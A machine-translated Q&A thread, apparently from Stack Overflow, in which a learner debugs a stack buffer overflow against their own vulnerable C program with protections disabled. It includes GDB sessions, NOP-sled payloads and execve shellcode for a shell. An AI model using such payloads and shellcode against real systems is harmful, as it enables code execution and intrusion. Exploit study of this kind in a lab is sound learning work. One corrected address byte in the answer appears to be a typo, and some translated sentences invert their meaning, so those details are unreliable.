我正在尝试使用本教程执行缓冲区溢出漏洞 我的帖子中的所有内容都将直接在GDB中执行。
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
这是我想利用缓冲区溢出的代码。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
我目前正在研究Linux mint 18,我有64位处理器。 鉴于我有64位架构。每个地址都是8个字节。 现在让我们想象一下我当前的stakframe。
| buff [256] |
| RBP |
|保存RIP |
我的目标是用“nop sled”的地址覆盖“SAVE RIP”。 鉴于我是64位架构。我打算用256 + 8字符填充变量buff。 8个字符将用于覆盖RBP指针。我要用perl覆盖。
perl -e 'print "\x90" x 264'
然后使用我遵循的教程中提供的shellcode
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
我减去了26因为shellcode长度为26。
现在。我将使用GDB找出我的nop雪橇的地址。
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <printf@plt>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <exit@plt>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <puts@plt>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret
我在strcpy函数之后添加了一个断点juste。我正试着用
找出雪橇的开头x/x $rsp
告诉我
0x7fffffffde20: 0xffffe018
然后我要去做
x/s 0x7fffffffde20
并按'Enter'直到找到我要找的东西。
现在,来看第二个问题。我找到了两个不同的地址,似乎包含了nop雪橇
0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
和
0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
不知道选择哪一个,我决定尝试这两个。假设我正在使用第一个,更准确地说是0x7fffffffde30。 (不要忘记带上endianess的车)。
我将尝试使用以下命令行执行我的代码:
(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`
然后我验证RIP是否被欲望地址正确覆盖。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)
我们可以看到保存的RIP被欲望地址成功覆盖。 现在的主要问题是当我按下“继续”我的程序段错误而不打开任何shell。我完全遵循教程中的解释,所以任何人都可以解释我:
- 当我在缓冲区内写入263字节时,为什么会出现段错误?当我覆盖“保存RIP”时,程序可能会出现段错误,对于RBP是否相同?
- 我发现了两个不同的地址,其中包含我的nop雪橇,我可以选择哪一个?
- 最后,根据你的说法,我做错了什么或看起来不合逻辑?我不知道为什么我的漏洞利用确实有效,并且在互联网上没有找到像我这样有同样问题的其他人。
由于
我正在使用这种方式进行编译
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack
修改
感谢您的评论。我做了你告诉我的事,但它仍然是段落错误。
Hello @russtone。
谢谢你的回答,我做了你告诉我的事,但它仍然是段落错误。
`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
我使用这个地址而不忘记结束。
“0x7fffffffdc80”
给我
“\ X80 \ XDC \ XFF \ XFF \ XFF \ 0x7F部分”
因此GDB中的最终命令是
(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`
然后
继续
显示
继续。 H1WW ^ ZH //斌/ shHWT_j; X
编程接收信号SIGSEGV,分段故障。 0x00007fffffffdd80在? ()
由于
答案 0 :(得分:5)
为什么在缓冲区内写入263字节时会出现段错误?当我覆盖&#34;保存RIP&#34;时,程序会出现段错误,对于RBP是否相同?
在您的示例中,当程序尝试访问不属于它的地址0x30deffffff7f
的内存时,会发生分段错误。您希望使用0x7fffffffde30
而不是0x30deffffff7f
覆盖RIP,但是您传递了错误的有效负载。因为您的有效负载中有little-endian架构而不是:
... "\x7f\xff\xff\xff\xde\x30"
你需要通过:
... "\x30\xde\xff\xff\xff\x7e"
此外,我不确定您的shellcode地址是否为0x7fffffffde30
,因为x/s $rsp
并非最佳方式。最好使用类似的东西:
(gdb) x/300bx $rsp
0x7fffffffd220: 0x18 0xd4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd228: 0xf6 0x77 0xde 0xf7 0x02 0x00 0x00 0x00
0x7fffffffd230: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd238: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd240: 0x90 0x90 0x90 0x90 0x48 0x31 0xff 0x57
0x7fffffffd248: 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62
0x7fffffffd250: 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef
0x7fffffffd258: 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f
0x7fffffffd260: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd268: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd270: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd278: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd280: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd288: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd290: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd298: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd338: 0x40 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd340: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd348: 0x18 0xd4 0xff 0xff
在上面的示例中,shelcode为"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
,其地址可能类似于0x7fffffffd240
。
我发现了两个不同的地址,其中包含我的nop雪橇,我可以选择哪一个?
您找到的第一个地址是您的缓冲区char buff[256]
,第二个地址是argv[1]
。类Unix系统将argv
放在堆栈上,因此在您的示例中,选择哪个并不重要。但总的来说(对于任何操作系统),您需要使用char buff[256]
的地址。
最后,根据你的说法,我做错了什么或看起来不合逻辑?我不知道为什么我的漏洞利用确实有效,并且没有在互联网上找到像我这样有同样问题的其他人。
我上面提到的第一件事是endianness。你有小端机器,所以你需要通过\x30\xde\xff\xff\xff\x7e
而不是\x7f\xff\xff\xff\xde\x30
。
第二件事是你的shellcode。您正在使用x86程序示例中的shellcode,但您需要x64的shellcode。你可以使用这样的东西:
SECTION .text
global _start
_start:
xor rdi, rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f2f ; hs/nib//
shr rdi, 8 ; \x00hs/nib/
push rdi
push rsp
pop rdi
push 0x3b ; execve
pop rax
syscall
在字节码中将是:
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
希望这会有所帮助。祝你好运!
<强>更新强>
好的,现在你覆盖了rip
并根据gdb的输出成功跳转到了正确的地址。
现在的问题是你的shell代码太靠近缓冲区了。
因此你得到了图片:
然后在main
函数结束后命令
leave
ret
您跳到addr_1
和rsp = addr_2 + 8
(leave
之后,即mov rsp, rbp; pop rbp
)。但是在shell代码开始时,您可以在执行push
后看到2 $rsp = addr_2 + 8 - 16 = addr_2 - 8
条指令。但addr_2 - 8
是shell代码的最后8个字节!因此,您的shell代码会覆盖自己,并且您会遇到段错误。
为避免这种情况,您可以将shell代码放在buf
:
(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`